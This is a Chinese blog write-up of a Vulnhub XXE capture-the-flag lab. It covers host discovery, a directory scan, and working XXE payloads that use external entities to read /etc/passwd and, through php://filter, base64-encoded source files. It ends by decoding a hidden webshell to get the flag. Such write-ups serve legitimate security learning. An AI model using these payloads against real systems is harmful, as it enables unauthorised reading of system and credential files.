Vulnhub-XXE靶机

1.主机发现

nmap -sS 192.168.74.1/24
  • 就是192.168.74.158没错了,开放了80端口。

xxe-1

2.前期信息收集

  • 访问192.168.74.158,就是apache默认页。

xxe-2

  • 御剑扫目录。

xxe-3

  • 访问robots.txt。存在/xxe/路径,admin.php。

  • ip/xxe为登录界面。

  • admin.php在/xxe/目录下。ip/xxe/admin.php同样是登录界面。

3.靶机测试

  • 正常访问查看回显。
POST /xxe/xxe.php HTTP/1.1
Host: 192.168.74.158
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.74.158/xxe/
Content-Type: text/plain;charset=UTF-8
Content-Length: 93
Connection: close

<?xml version="1.0" encoding="UTF-8"?><root><name>admin</name><password>123</password></root>
  • 有回显。
HTTP/1.1 200 OK
Date: Mon, 27 May 2019 05:43:44 GMT
Server: Apache/2.4.27 (Ubuntu)
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8

Sorry, this admin not available!
  • 利用XXE漏洞进行文件读取。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

  • 查看admin.php。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>

  • base64解密,源码分析,存在硬编码密码,登录密码用md5解密即可。

  • 登录admin.php。

  • 点击链接,跳转至/xxe/flagmeout.php。
  • 显示是空白页,查看页面源代码。

  • 先进行base32解密,再进行base64解密。
  • 可得/etc/.flag.php。

  • 查看/etc/.flag.php。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>1</password></root>
  • base64解密之后看着像无特征码的PHP Webshell。

  • 保存至本地环境,命名为flag.php。前后分别添加上<?php ?>
  • 再访问flag.php可得flag。

posted @ 2019-06-10 19:34  cijian9000  阅读(758)  评论(0编辑  收藏  举报